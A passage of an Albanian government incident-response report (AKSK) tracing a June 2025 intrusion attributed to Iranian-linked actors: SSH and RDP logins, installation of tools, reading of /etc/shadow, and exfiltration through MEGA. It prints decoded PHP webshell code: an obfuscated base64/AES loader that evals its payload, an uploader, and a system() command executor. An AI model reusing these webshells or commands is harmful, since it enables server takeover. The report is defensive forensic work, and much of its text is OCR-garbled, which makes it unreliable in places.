aktiv pér manipulim konfigurimi, démtim t€ rrjetit, ose mbikéqyrje e aktiviteteve t€ brendshme.

Figura 16: Sw L3 core, pérdorues té shtuar

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039
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2.2.2 Aktiviteti i zhvilluar

tirana.al

Rezulton se né daté 11 gershor né orén 19:30 né serverin
pérdoruesi pérmes SSLVPN dhe mé tej me secure shell (SSH).

2825-86-11T19:29:28.144585+82: shd[1839664]:
2025-06-11719:30:04.433404402: sshd[18359683] :
o_BE_ 0:30:94.437034+02: shd[1939683]: pam_unix(sshd:session}:

id=a)
2025-86-11T19:30:84 . 448002+82: ystemd-logind[1862]: New session 5964 of user
= = 19:308:04.514543+02; (systemd): pam_unix(systemd-user:session): session opened for user‘_;id:lGGO) by
uid=8)

2025-86-11T19:31:55.368474+82: udo: — TTY=pts/@ ; PWD=/home

2025-86-11719:31:55.369754+82: udo: pam_unix(suggs a session opened for user
2825-86-11T19:31:55.444285+02; u[1839847]: (to pts/1
2825-96-11T19:31:55.444884+02: u[1@839847]: pam_unix(su-l:session): session opened for user

Figura 18: Login né SSH

Evidentohet instalimi i mjeteve si net-fools, nmap dhe konfigurohet ssh key pér té ruajtur
géndrueshmériné né server.

Start-Date: 2825-96-11 19:44:22
Commandline fapt inctall net tools |
Install: net-tools:amdsd (2.10-8.lubuntud.g)
End-Date: 2025-86-11 19:44:28

Start-Date: 2025-86-11 19:59:83
Comandline:[3pt instsll nmap ]
Install: nmap-common:amded (/.944git20230807.3bedlefbledfsg-3build2, automatic), libblas3:amd6d (3.12.0-3buildl.l, autcmatic),
1ibssh2-1t64; amdéd (1,11.8-4,1build2, automatic), meap:amdéd (7,94+git20e230807,3beelefbledfeg-3build2), liblineara;amded (2.3.0
+dfsg-Sbuildl, automatic)

End-Date: 2075-86-11 19:59:13

Figura 19: Instalimi i tools-ave

Figura 20: Konfigurimi i ¢celésave privat SSH

Né datén 11 Qershor né orén 20:50 aktiviteti Evidentohet

pérdorimi i protokollit RDP me pérdorues

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info(@aksk.gov.al: Tel./Fax: 04 2221 039
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|8 4524 | Mic Windows Logon N/A B

3'.::" Audit Success 6/11/2025 4648 Microsoft-Windows Logon
f«\ Audit Success B/ /2025 B:50:24 PM 4624 Microsoft-Windows Logon
S, Audit Success 6/11/2025 B:50:24 PM 4624 Microsoft-Windows Logon
€, Audit Success (61172025 B:50:24 PM 4B48  Microsoft-Windows Logon

Description

Restricted Adoin Mode: 2

Virtual Account: Yes
Elevated Token: Yes
impersonation Level: mpersonation

Mew Logon:

Security 1D: 5-1-5-21-1020909342- 1423857677~ 1256043602 1000
Account Domain: i
Logon ID: Oxddlad8c
Linked Logon I OudddTadbd
Network Account Name: -

Network Account Domain: -

Logon GLID: {00000000-000C- D000 D000-000000000000 |
Pracess Information:

Process 10 One3dd

Process Names CA\Windows\System3Z\svchost.exe

| Network Information:

Workstabion Name:
Source Network Address:
Source Port: i

Figura 21: RDP login nga

Pas aksesit né kété server, aktorét keqdashés jané munduar té pérdorin skedaré té cilat jané bllokuar
nga antivirusi. Skedari pas kontrollit nuk u arrit té gjendej dhe nuk kuptohet funksionaliteti i tij,
por nga analiza e AmCache evidentohet hashi i ketij skedari t€ bllokuar.

IO PAISOCAAAAISITR I/l DAL EACTIA RO BOT DR TPLCICA R0 | IMUT | € AR R DR O w8 L1 AT e LT B T e T
110 Unayaocs 000G 19W 7095 1RT1 TH7 M8V MwaO0EI a2t LUSRAeOE]  TAUL i rhomrmlomic s e b seroswir o 8 001 gt oo rgetasen e LAITI TIED ocmanhh® e hamework
[ TR © ooy Blayamerndnay debancker s 1 nas Nexlrs wuw - Wi onhh wingomh® opacs  TINEN 410 1
112 Unansorid TR v vy s s onepad o - sphk® windowsh® apers 7L 1004
Unyrzoes sobeicr e . ® windowsh cperw 63535 390 1809 oobeids
114 Unaasoes Operidvnoms  we * wingiesd® operer U230 130 1EVHC 18 8 140N opennie
1% e Jama -
T St al¥Mes b e Y 4 T . wingomsh® aparst 71308 1.0 1EW 180 LN paog. wm
L A Tl ek R . " windowsd® opers IS8 109 1A 10.2 LA peg w
N L o BT o T TN L e e P e * windoaiA* opar s U prcyeas
s a7l 7 £ oLty eI SO wipower sheitv] O posershel sae powershetieg e * windoash® opers M 10 AT powes!
3 Th TS Ma OO MBI T RO 3 VA e grerees i L smean Tiprobive s ol ve - B 20190050 UL { prables
Pafuac e - 447003 20.% vyvinmas prases TRIN 240 240 pumen
e o e opers TR 10,0 143010 8 LOTK quast e
e L T [Linr e 080 .0 267
rdptiip e e Foper RN 100360
¥ ripingutios e Fopers 19305 100 1 8 i
ana oman v SR 13T Sy Taa e DT Tec T ) = Coims Ot 108 Lm-rad Lo e oo

Figura 22: p.exe eksportuar nga AmCache

8 Application.evix
4 > W L 2w ™1 UTC+2:00

Type Date | Time TEvent “:.S.uuru |Cau9m-y i.ﬁur | Computer
6/11/2025 S5 PM 51 Nene 15-1-5-21-1561301640|
6/11/2025 1434 PM \5-1-5-21-1561301640)

G 14:54 PM 51 None 5-1-5-21-

| The description for Event ID ( 51) in kurce*r_cu’.d not be found.
Either the component that raises this event is not installed on the computer or the installation is corrupted. You can install or repair the compenent or try to change Descnption Server.

The following information was included with the event:

‘etutrh’ Risk Found! SONAR.SymcTamper'g2] in File clusers) l- desktop\query\p.exe by: SONAR scan, Action: . Action Deseription: Access Denied |

Figura 23: p.exe i bllokuar nga

vazhdon me aksesin pérmes RDP drejt serverit :
né orén 21:11.

Aktiviteti i kétij pérdoruesi (

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039
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®, Audit Success &11
B, Audst Success &M1172025 S PM 4624 Macrosoft-Windows Logon WA

Iimpersonation Levet

55 Information

Network Inf

8524 | Mucrosolt-Windows

211:22PM 4543 Microsoft-Windaws Logon

ount wes successfully logged on.

Pn
Pn

tation Mame
etwork Addresc

Back End server pérmes

Né kété pérdorues evidentohet gjithashtu historiku i shfletuesit (Google Chrome), ku €shté tentuar
né orén 22:03 aksesi drejt vSphere. Aksesi konfirmohet dhe nga loget e vSphere (Figura 20)

Wednesday, June 11, 2025

] ee7em (5]

& @ & & &8 8 & 6

JT5-06-19TINI1A02,. TEL [ Mu

2075 -06-11130:03: 71 8312 || “user ™"
Togged In with rewponse code 2007,

logged in with respomse code 200°,
I025-D6- 1ST11: A5 47 B327 [ “user®:"|
logged In with response code 2ee™,
2075-D6-19T12:59:20. 7677 [ “usar™:"|

o

Weilcome to VMware vSphera viia i

viphere
vSphere
vSphere
vSphere

viphere

Welcome to VMware vSphere _

15 windows serve [

Figura 25: Historiku Shfletuesit (Google Chrome)

“timestamp™:"06/11/2025 20:83:21 UTC™, "dencription™:"User|
“timestamp™:"06/19/2025 18113112 UTC", "description”: "User|
“t imestamp™ 1 “06/19/2025 11135147 UTC™, “description™: “User|

"client™ “timestamp®:“06/19/2025 12:59:29 UTC®, “description”: “User|

Figura 26: Log-et e autorizimit né vSphere

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al

info@aksk.gov.al; Tel./Fax: 04 2221 039
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2.3 Data 13 Qershor 2025

Me daté 13 Qershor 2025, nga
analizimi 1 webserverit t€ Drejtorisé Pérgjithshme e Taksave dhe Tarifave Vendore (DPPTV)
evidentohen shenja kompromentimi si méposhté.

2.3.1 Drejtoria e Pérgjithshme e Taksave dhe Tarifave Vendore (dpttv.gov.al)

Njé video' e postuar nga Homeland Justice demonstroi aksesin dhe ngarkimin e skedarit keqdashés
(display_10.exe) me me géllim cenimin e integritetit té sistemit dhe pér ta béré até té paakesueshém
drejt webserverit t& Drejtorisé sé Pérgjithshme té Taksave dhe Tarifave Vendore, dpttv.gov.al

Figura 27: Form upload né dpttv.gov.al

Né orén 09:08 né webserverin e DPTTV éshté ngarkuar njé skedar me emrin demo.txt pérmbajtja
e té cilés €shté njé skedar i tipit tekst i enkoduar me base64. Nése kété skedar e dekodojmé do
evidentohet njé pjesé kodi e cila €shté e tipit php dhe nga kodi duket qé éshté tepér 1 fshehur. Mé
pas, njé minuté mé voné, aktorét ndryshojné prapashtesén nga .txt né php né ményré qé ta pérdorin
kété skedar si pjesé té veté aplikacionit.

! https://t.me/JusticeHomeland1/525

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039
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dpttv » public » assets - J5 - 2
4ar >
webshells.rar
(] display_10.exe
page-form-wizards.demo.php
| demo.php i 1 PM j
demo.txt 1 M
' page-index.demo.php
apps.txt
Figura 28: Ndryshimi prapashtesés nga .txt né .php
T o T rting(E ALL * E WARNING ~ E WOTICE » E_STRICT # E_DEPRECATED); o
¥ ——o I Dynamic name constraction - basedd_decode, openss]_decrypt
12. P 5 : ”rndtnprnnl._lnrﬂpt:‘
13, | $ dob70pza1sZcvegiojewioehiia(  ZgFvx b ThOK ] BTGAQMITIGE ) y hasedd_decode('<ENCRYPTED_PAYLOAD>Y),
< DFENSSL FAW DATA. - ° 'AES-256-CHC' basetd_decode(<KEY="),
14, i L w_UALA, OPENSSL_RAW_DATA basefd_decode("<IV="}
15, | $ dabrop22152cvppiojewioe o " 1333 b

Figura 29:Analiza kodit burim, skedari demo.php

Kjo pjesé kodi:
1. Ndérton emrat e funksioneve base64_decode() dhe openssl_decrypt() né ményré té fshehur
(obfuscated).
- Dekodon njé string té koduar né base64 gé pérmban njé shell PHP dhe e dekripton até me
AES-256-CBC.

- E ekzekuton rezultatin me eval() duke e futur direkt né PHP interpreter.

Nése ¢ dekodojmé kodi qé do té shfaget Eshté:

- ($ SERVER][ "RE ST METHOD' ] "POST" && isset($ FILES|'file’])) {
$uploadFile = basename($ FILES['file']['name’]);
if (move uploaded file($ FILES['file']][ "tmp name'], $uploadFile

echo "File uploaded s ialchars($uploadFile);

»

echo "File

exit;

Figura 30: Dekodimi i kodit burim demo.php

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info(@aksk.gov.al: Tel./Fax: 04 2221 039

24



1. if ($_SERVER['REQUEST METHOD'] == 'POST' && isset($_FILES['file'])

e Kontrollon nése kérkesa HTTP qé vjen &shté e tipit POST
e Dhe nése brenda saj ndodhet njé file me emrin "file" (nga njé formé ose POST me
multipart)

1. $uploadFile = basename($_FILES['file']['name']);

Merr emrin origjinal t&€ skedarit t&€ ngarkuar.

Pra i gjithé géllimi éshté ngarkimi i skedaréve té ndryshém né direktoriné e aplikacionit.

POSWaHAKZX 1yb3 3 caivieb 318 aWS nk EVFQURMI FAgRVEXQVI OSUSHIF 4gRVIOT 1R I08UgXIBF X1HUUK1DVCBe T EVFREVQUKVDOVRF RCK 7CIRFZDBINGSWM Ixclp
Jjdmdnam@gZXdpb2VoaTMgPSanYmFzZ TY81zskX20wY jdPcDIyMXNaY3ZnZ2pvamy3ak91aGkz IC421CdFIzskX 20wy JdPcDIyMENaY3Zn2 2pvanmv3iaks lackz1C
A9ICak TNV ZGUNOYRFYWVOdW1 EYINTCTIyNDkwOTEAOT I zaGpoalxz IDQyY Y ZARPSAND3B1bi c 7IFOhZWhl aURFULNXM] TEOTASMT gSMjNaamh rbHNKND I JMCAUP
SAnc3NsIzskX2F1aHVPRGNTUIE yMIQSMDkxODkyM2Zhqattsc 208MmMWICAS TCdF I zskX2F LaHVpRENTUI EyMFQSMDkx0DkyM2ZhgaGtsc 200MmM IC 42T Cdk ZhiNy
eXB81ztldmF sKCRFYWVOdWIEYINT CTIyNDkwOTE4OT IzaGpoa2xz Z0QyY 2 A0 FOKMGT AT Ay mhi22 2dgb2pld2lvIihpMygnZF g2dHBNVGW20DdaT jUB Tkt
QZ21aNvvmNI ZTdXNRTEp2K 2R TRVPKQExKbBXRUXZ rcVde TVIUZWI 2QTZWUTRIeFRZNXgwd TQ1Z 2 FPAXUyRUS K TDZF eGRPB 1R 30WE 5 Ywr MHIKV ZRI TEMX T10rem
RhQjViaThsd ZHkAZFRE gMB5 IXNCOmMUP LVESYYUScL 3VZdHO1 cXZqZ JdGMIUxY 2 tVaXRoM1VindHVIQ1 hRW1IFUL, I1PWVdrRThhe@a5bHVya2hIZkeyy
2p2K2hBRINMAUIQZ JNBeGQSNE 16T s uZUIXaGxnkFITT1V3b2p0al 1 EGEDE T 1BUELZQWppZ @d65C toQUNVRmPEMT InbXRI TG JwbUF 2MWRaSXdsNTRGOXVXS 18n
RGpTeEVNbWI pallxRmRUd JNXOWSYS 3pZ SkRFekx60F AZMAg rdHZMT ESxambgVn IKZWIBSnFmYWB 2781t dHNRaTN3KBR0a2IBcmd 1UZRs THRXMTLTWVICcFBX a8 1
SamiuZlkysENReHd jV1hYeDl1SnEwWIRod zAwRXdFSIt Y1 Bkdmp1RG1GMH1AdkRMOUSOCZB i c1NkY Xk 1S@1UMF d 2Vt TZ3pPU2dBdWV U2 1mSUNSSXcOPScple
dERVMtMIUZLUNCQycsJFORMGIZTI FzWmN2Z2dqb2pld2 IvZWhpMy gnbjFmOVic LBpPUUEraVievMThPUDVNWT JCeWRI a2VCZkVSY 2Ur ZGRadzNkbe8aPScplL
ESQAUSTURX FUKFXXBRBVEESIFOKMGI 3T 2AyMIFrmN2Z 2dqb2pld2 1 vIWhpMy gndDBxZUD Ld@p Ly chdxU2VhNkhULUTE v kpK TsKP z4=

w1463 = 2 Tr faw Dytes = CALF (detected
Output #. Bn0m:oc
<?php

error_reporting(E_ALL ~ E_WARNING ~ E_MOTICE ~ E_STRICT ~ E_DEPRECATED);

$_deb?0p221sZcvggjojewioshil = “basefd';$_deb70p22lsZcvggjojewicehild .= *_";$_dOb70p221sZcvggjojewioehil .=

"decode” ;$_achuibc55q22490918923hjhklsda2c@ = "open® ;% _aehulDcS55q22408918923hjhklsd42ce .=

*551° ;% _achuiDcS5q22488918923hjhklsdadce .= '_" ;% sehuiDcSS5q224989180923hjhklsd42cd .=

‘decrypt’ ;eval($_aehuiDcSSq22496918923hihklsda2c8($_deb70p221sZcvggiojewioehia( " dX6tpMT 1687 INSANKPEbZSUFEVSUSQLIV+dSEZACL IO

1+0yIW4TLCINT +2daBEbi BRuL 3dy8dT zBhIINI\ /FLIKTHUaN fuvttSqviF7FIulckUiths
UVEUHBXQZRE R\ /wyOYWKESas00 lurkhHfG2 o j v+ hAFSLUBPF3Axd94Mz 08peMiih] gXRSOUWo I N YDBGMNIAPMYA igGtH+ hACUF jt12gmtHL bpmAv1dZ Twl 5459
ugkPgDjSxEgmbi jR1F TvIWGNX] JDEzLzBP61h+tvLLOgicjVriebdlgfao3gMmtsOd Iw+Dikbtrgusdli tW19SYREpPHEIRFcnel 2hOQuwchBxDuIqeZ This
BREWE I+ X6PdvjulmFayxvDFONNsBbsSday SKIT27vUkSgr0SghuesSifICATw=="), "AES-256-

CBC® ,$_deb70p221sfcvggiojewioehis( ‘n1foul/10Qa+i\/1B80PSgY28yd TkeB FERCe+ddZwido0a=") ,OPENSSL_RAW_DATA,$_deb70p221sZcvggiojew
{ "tegeBewlu¥Yu2ggqSeadHTQ=="3));

LOQvkgiizMAT eI vABVQAwx Ts5x8ud5g10uu2 EOdLBExdOnTwoaS

ios!

¥

Figura 31: Fshehja né skedarin keqdashés php

Faza e 2 . Ngarkimi i webshell page-index.demo.php

Ky skedar gjithashtu éshté tepér 1 fshehur, 1 programuar né php.

error_reporting( level e ~ E_NOTICE

21s

Figura 32: Skedar i programuar né php

Gjaté dekodimit evidentohet se kodi i vértet€ €shté:

1. if(isset($_POST| {
2. system($_POST] ].'2>&1");

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tirang;
info@aksk.gov.al; Tel./Fax: 04 2221 039

k.cov.al
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3.}

Ky éshté njé web shell i cili shérben pér ekzekutim komandash.

1. if(isset($_POST(|))

Kontrollon nése éshté dérguar njé POST me emrin e parametrit

2. system($_POSTI[ - ' 2>&1"):;

Ekzekuton vlerén gé i éshté dhéné si komandé shell né server.
2>&1 bashkon daljen e gabimeve (stderr) me daljen normale (stdout) —
qé do té thoté se sulmuesi sheh ¢do gjé qé komanda prodhon.

Pasi arrihet t€ krijohet géndrueshmeéria né sistem, nuk shihet aktivitet deri n€ datén 19 Qershor,

kur ndodh dhe ekzekutimi i skedarit display 10.exe
2.4 Data 14 Qershor 2025

Ndonése aktiviteti ka gené i ulét, evidentohen komanda té€ ekzekutuara né serverin efémijét

backend .

e N& server ekzekutohet komanda COMMAND=/usr/bin/cat /etc/shadow :

2025-06-14T82:12:04 963762+82:00 sudo: pam_unix{sudo:session): session closed for
2025-06-14T@2:15:01.881326+02:08 CRON[1208656]: pam_unix(cron:session): session opened for use
2025-96-14T82:15:81_.883300+82:80 CRON[1288656]: pam_unix(cron:session): session closed for use

Figura 33: Leximi i skedarit ku mbahen fjalékalimet né sistemet Linux

e Kirijohet dhe fshihet file aa.txt. Aksesohet file .bash_history

o N rY-pts/0 ; PMD-ver e

2025-06-14T02 28 58 gEs@+07 - 8a
USER=root

W25-86-14 | +id B s udo: pam_unix{sudo:session): session opened for use
2025-86-14 sudo: pam unix{sudo;session): session closed for
2025-86-14 ; Ja28s02 00 SN o“ : TT¥=pts/@ ; PD={var/www
USER=root i

2025-06-14 130 ] sudo: pam_unix{sudo:session}: session opened for user

2025-86-14T82 sudo: pam_unix{sudo:sesslon): session closed for use

2025-086-14TR2, v a: _ TT¥=pts /B ; PWD=/var/www,
USER=root MM, in/touch aa.txt
2025-06-14 L -+ 8 sudo: pam_unix{sudo:session): session opened for user

: pam unix{sudo:session}: session closed for user
TTY=pts/0 ; PWD=/var/ www/]

2025-086-14
2035-86-14
USER=root
2035-86-14 ¥ Bi+ sudo: pam_unix{sudo:session): session opened for use
sudo: pam_unix{sudoisession}: session close

-06-14T92;33:83 §80A7 3482 00 o : TT¥=pts/8 ; PWD=/var/waw/
USER=root ;| COMMAND=/usr/bin/rm —f aa.txt
sudo _ TY=pts/@ ; “hl‘—."hu-e_"eprs"l) H IJEEM.
- ie ar

sude: pam_unix(suda:session)
o:session):
TT¥=pts/B ; M

COMMAND=fuse/bin/ls -1a

ﬁss 50.585363+02:08
3 -0 Fd:33:50.586435+02:00
2025-86-14T82:33:50.610920+02: 98
S @6 1ATP2:34-11 967333+02:00

1

Figura 34: Krijimi dhe fshirja e skedarit aa.txt

e Pingohet1P 4.2.2.4

2025-96-14T92:89:01.870819+82:00 CRON[ - m_unix{cron:session): session closed for user
2025-06-14T92:12:04.910502+02: 00 sudo: ; TT¥=pts/@ ; PWD=/home COMMAND=/usr/bin/cat /etc/shadow
2025-06-14T82:12:04.963591+02:088 sudo: pam_unix{sudo:session): session opened for -Jid=B} v

Figura 35: Ping 4.2.2.4

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax: 04 2221 039




Bazuar né raportin e checkpoint (https://research.checkpoint.com/2024/bad-karma-no-justice-
void-manticore-destructive-activities-in-israel/) (20 Maj 2024) ku krahasohen dhe evidentohen té
pérbashkétat e sulmeve qé Iran ka kryer drejt Izraelit dhe Shqipérisé, shikohen qé edhe késaj rradhe
teknikat jané t€ ngjashme, N¢ até kohé sulmet i atribuoheshin Void Manticore. (Detaje mé té
thelluara né 1) ATRIBUIMI — Inteligjenca e kércénimeve kibernetike dhe 2) Inteligienca me burim
té hapur (OSINT))

parameter argument

Figura 36: Teknika té ngjashme me sulmet né Izrael

2.5 Data 16 Qershor 2025

Né kété daté evidentohet aktivitet i shtuar pér pérdoruesin * 1 cili ka té drejta si “Enterprise
Admin” né€ Active Directory. Pérdoruesi éshté krijuar né 2014 dhe fjalékalimi pér heré t€ fundit
&shté ndryshuar né 2022. Né total numé&rohen 3 pérdorues me privilegje “Enterprise Admin” dhe
20 pérdorues me privilegje “Domain Admin”.

Get-ADGroupMember Select-Object Name, SamAccountName

- Get-ADGroupMember select-Object Name, SamAccountName

admin

Figura 37: Lista Pérdoruesve me privilegje té larta
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> Get-ADUser Format-List Name, SamAccountName

1 Admin
: admin

WhenCreated

Figura 38: Detaje mbi pérdoruesin admin.

2.6 Datat 19-20 Qershor 2025

videntohet ekzekutimi i disa komandave nga webserver-i
Eshté ekzekutuar skripti DSInternals ku jané marré
informacione mbi pérdoruesit né Active Directory, gjithashtu vérehet pérdorimi RDP pér té
aksesuar webserverin (backend), 1 cili éshté pérdorur si bazé pér aktivitetet si:

Figura 40: Listimi i pérdoruesve té AD pérmes DSInternals
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e

Né orén 15:52 krijohet direktoria “admin” né webserveri (backend), cfaré tregon gé ky
pérdorues akseson kété kompjuter pér heré t€ paré. Menjéheré né€ 16:02 i njejti pérdorues akseson
Active Directory. Veprimet e shpeshta dhe paralele tregojné q€ aktorét kané vepruar né grup nga
terminale t€ ndryshme.

Computer name, demain, and workgroup settings Computer name, domain, and workgroup settings

[ Computer name: b Computer name:

Full computer name: Full computer name: E|
¥ | Users ¥ | Users
Bl tome  stae View n Wome  Share
- - 4 v ThisPC » Local Disk (C) » Users - T » ThesPC » Local Disk () » Users
Name Date modified
# Quwick accen 1 s Cuick sccess
| admin E 02 PM | File folde #dmin
=
Figura 42: Sistemet e pérdorura nga pérdoruesi (Active Directory—:

backend)

Nga loget e webserveri .
éshté pikérisht ky server i cili pérdoret

), shikohet pérdorimi i disa terminaleve njékohésisht, dhe
si proxy pér té kaluar né Active Directory pérmes RDP.
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Figura 44: Pérdorimi RDP pér té aksesuar Active Directory

2a dhe MegaSync pér eksfiltrimin
(backend) népérmjet historisé sé

Né rrjedhén e ngjarjeve u evidentua prezenca e pérdorimi
e t&¢ dhénave. Aktiviteti evidentohet nga webserveri
shfletuesit t& internetit.

Adresa: Rruga “Papa Gjon Pali I1” nr.3, Tiran€; www.aksk.gov.al
info(@aksk.gov.al: Tel./Fax: 04 2221 039

30



Thursday, June 19, 2025

11:40PM MEGA Desktop App: Windows, Mac and Linux mega.ic

11:40FM MEGA Desktop App: Windows, Mac and Linux mega.io
11:40PM download mega sync - Kérko né Google google.com
11:39PM

Login - MEGA mega.nz

11:29FPM

MEGA: Protect your Online Privacy megaio

@

(5]

(5]

@

11:30PM & Create Your Account - MEGA meganz

@
5
@
o
@

SO0 OO00ONRO0E0 DOUBe oo agno

@ % 6 & & 66 & & & & & & 6 & 6

Figura 45: Historiku shfletuesit t

Nga evidencat, ekipi i analizes arriti té€ nxjerré emailin e pérdorur pér t€ aksesuar kété fileshare,
kjo nga loget e Mega Sync e cila ka gené e instaluar tek Backend Artifaktet kaluan pér
hetim té métejshém drejt Drejtorisé sé Hetimit té Krimit Kibernetik né Drejtoriné e Pérgjithshme
té Policisé sé Shtetit, e cila mori masat e menjéhershme pér té bllokuar aktitivetin keqdashés né
shpérndarjen e métejshme té t& dhénave t€ eksfiltruara.

Aktualisht kjo llogari éshté bllokuar dhe nuk mund té aksesohet nga aktorét keqdashés.
Informacione té llogarisé:
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Adresa email: NazarioPaparella_2025@proton.me

Emri i ploté: Nazario Paparella

Statusi i llogarisé: Suspended

Vendodhja e hapjes sé llogarisé: Netherlands (NL — TOR exit node IP was used)
Vendndodhjet e IP nga éshté aksesuar kjo llogari: Iran, Albania, Netherlands
Krijimi i llogarisé: June 3, 2025, 17:04:26 UTC

Aktiviteti i fundit: June 19, 2025, 06:30:48 UTC

Hapésira ruajtése totale e pérdorur: 73.4 GB

Totali i skedaréve: 31,861

Totali 1 dosjeve: 4,160

F ium 46: Emaili i Me Fi fesar

Pas paraqitjes s€ kérkesés prané platformés MEGA, u siguruan té€ dhéna né lidhje me llogariné e
krijuar me adresé email NazarioPaparella_2025@proton.me dhe nga loget ¢ marra nga Mecga, u
evidentua adresa e Mega, ku éshté béré pagesa prej 29.99% (0.000334 btc)

i
"paymentid”: 26433114,
"gateway”: 4,
"timestamp": 1748970382,
"gross”: "29,99",
"btc-amount": "a.eamsaaae'}
"coinify-receive-address™: ['3QHN1XK2QWNNiSVaoKD4L4LhjFrKMTWaMQ",
"ip:sourceport”: "2001:67C:€60:C0C:192:42:116:211"

Figura 47: Detajet e portofolit té Mega

Duke ndjekur transaksionet drejt portofolit t€ mésipérm, jané identifikuar 3 pagesa té kryera, midis
té cilave éshté dhe pagesa prej 0.000334 btc nga portofoli
“belgmn9hskttjl3tt66hmg0qj4l7s12edzth636ces”, qé dyshohet t€ jeté e sulmuesit.
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Transactions

From -0.00033400 BTC -
Q To o Bb4 Sats - o
From To
- o] 1 o] ]
2.00027900BTC - 0.00093934BTC
Q2 t
AR003350081C .
Q: ol
2.0003340087C -
0 0 ¥ 4 ats «
From To
[ B (-] 1 -] -]
2.00127742BTC 0.00033400BTC -
2 [
0.00092483BTC »

Figura 48: Transaksioni kryer drejt Mega

Nga verifikimet e kétij portofoli, vértetohet q¢€ ai ka béré né total 2 pagesa, 0.000334BTC dhe
0.00092483BTC.

8 bcigm-3éces usD
g'-  Bmsam macress
Ll B IgmeTR AR 1 AARMOBGITUT S FThe Thces
e s By
2.00000000 - 000
Surnmary
- . .
eseuTrez BT eeeuTrAz ETC Seessan. BTT
]

Tranaactians

Foowm QDOVITII WIT

o o 1o -
From T
@ = " -]
ABITIAINTE @001 5428 WIC
2 = -]
S00TIAL HTC
Feom 080127747 YT
© o LA Saen - e

—

Figura 49: Detajet e portofolit

T& dyja pagesat jané béré né datén 03/06/2025, rreth orés 19:10 dhe vlera aktuale e portofolit éshté
zZero.
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3 Bitcoin Transaction

122850edd a1 7A0LHBI00bAdSa4a5 56081 978661692 TThebfcablach 1 cBd 795

Cuick Transaction Overview

The Bitcoin addreds be t grrnBhaktnl Inidhmglidl ! i edrthi s ¢ont 0,00033400 BTC (£15.18] to
O T XOWNNS Vao KDL 4LIF 0 TWalL The transaction was confirmed on 2025-08-03
19:09:22 andd the sender spent 0.00001859 BTC ($1.96) in lees

Privacy leck: Mixed address types.

Status [ 7200 comtirmations | Siaw / vSize 2248/ 1428

Block Height ¥ Weight 566 WU
Block Hash Version
Block Timestamp 2025-06-03 522 Locktime i)
Fee $1.96) Input L t $13453)
Fes Rate 1314 sativB Output 883 $132.58)
SegWit Yes Raw

Inputs (1)
a2 123911 1 206 5atadh T ARG 10%4ed Jeaal ZBb | 177 a9t S Sbetabctbdtiba
betgy gOQI4I78i2edzthE36

7742 BTC ($134.53)
Outputs (2)
a1c 5350 (EED)

is97.40) =)

Figura 50: Detajet e pagesave né bitcoin

Gjithashtu evidentohet se né orén 22:15 éshté pérdor llogaria :"pér t’u lidhur pérmes SSL-
VPN. Fillimisht tuneli ngrihet me IP 146.70.246.105 (vpn nga Rumania) e cila pérdoret pér té
aksesuar rrjetin e brendshém, por njé shképutje prej 3 sekondash e kétij tuneli, ekspozon IP
(188.229.66.237 — me burim [ranin)

]

A e Tions G005 0 B0 TAEAA 5

BEEEEE Ak | Mtz ai —] KL i s
wm_ oo - WL e A5 VPN o
L L] Eror sl et S5L ety
B ; -
L L] Erec et SLae
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Figura 51: Akses i pérdoruesit k: e ssl-vpn nga IP Iraniane
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date=2025-06-19 logdesc=55L VPN alert action=ssi-alert tunneltype=ssi tunneld =0
date=2025-06-19 logdesc=55L VPN alert action=sst-akert tunneltype=ssl tunneld=0
date=2025-06-19 logdesc=355L VPN alert action=ssl-alert tunneltype=ss! funnelid=0
date=2025-06-19 logdesc=S5L VPN alen action=ssi-alert ype=s5si

date=2025-06-19 logdesc=S5L VPN alert action=s5l-akert tunneltype=ssl tunneld=0
date=2025-06-19 logdesc=55L VPN alert action=ssl-alert tunneltype=ssl tunneld=0
date=2025-06-19 logdesc=55L VPN exit errar act sxi-xit - tunneltype=ss tunnelid=0
date=2025-06-19 logdesc=550 VPN exit error action=ssl-exit-ertor  tunneltypesssi tunnehd=0
logdesc=55L VPN exil esror action=ssi-exit-error  tunneltype=ssi tunnelid=0

logdesc=55L VPN tunnel down sction=tunnel-down tunneltype=ssi-web tunnelid=1545253156

% logdesc=55L VPN tunnel down act |-down itype=ssl-web tunnelid=1545253183

logdesc=S5L VPN tunnel down  act -d I I-web fid=1545253164

logdesc=550L VPN tunnel down  action=tunnel-down tunneltype=ssi-web tunnelid=15452531565

logdesc=55L VPN tunnel down 3¢t dow! i) i-web lid=1545253166

logdesc=55L VPN tunnel down  action=tunnel-down tunneltype=ssi-web tunnelid=1545253167

logdesc=S5L VPN tunnel up  ac up itype=ssl-web tunnelid=1545253156

date=2025-06-19 logdesc=55L VPN tunnel up action=tunnel-up tunneltype=ssl-web tunneld=1543253163

date=2025-06-19 logdesc=55L VPN tunnel up action=tunnel-up tunneltype=ssl-web  tunnelid=1545253164

025-06-19 logdesc=SSLVPN tunnelup  action=tunnel-up  tunneltype=ssl-web tunnelid=1545253165

logdesc=55L VPN tunnel up  act up ype=ssl-web tunnelid=1545253166

logdesc=55L VPN tunnel up action=tunnel-up tunneltype=ssl-web tunnelid=1545253167

legdesc=SSL VPN alert I-alert tunneltyp ' di '
date=2025-06-19 logdesc=55L VPN alert action=szl-alert tunneltype=ssl tunnefid=0
Cat==2025-06-19 logdesc=5SL VN exit error action=ssi-exit-error  tunneltype=ssi tunnelid=0

date=2025-06-19 logdesc=55L VPN tunnel down  action=tunnel-down tunneltype=ssi-web tunnslid=1545253169

date=2025-06-19 logdesc=S5L VPN tunnel up action=1tunnel-up Itype=ssi-web t fid=1545253169

remip =146,70.246.105
Femip=14670.245.105
emip=146.70.2456.105
remip=146.70246.105
emip=146.70.245.105
komiip=146.70.246.105
emip=146,70.246.105
Femip=146,70.245.105
pemip=146.70.246.105
remip=1456.70.245.105
pemip=146.70,246.105
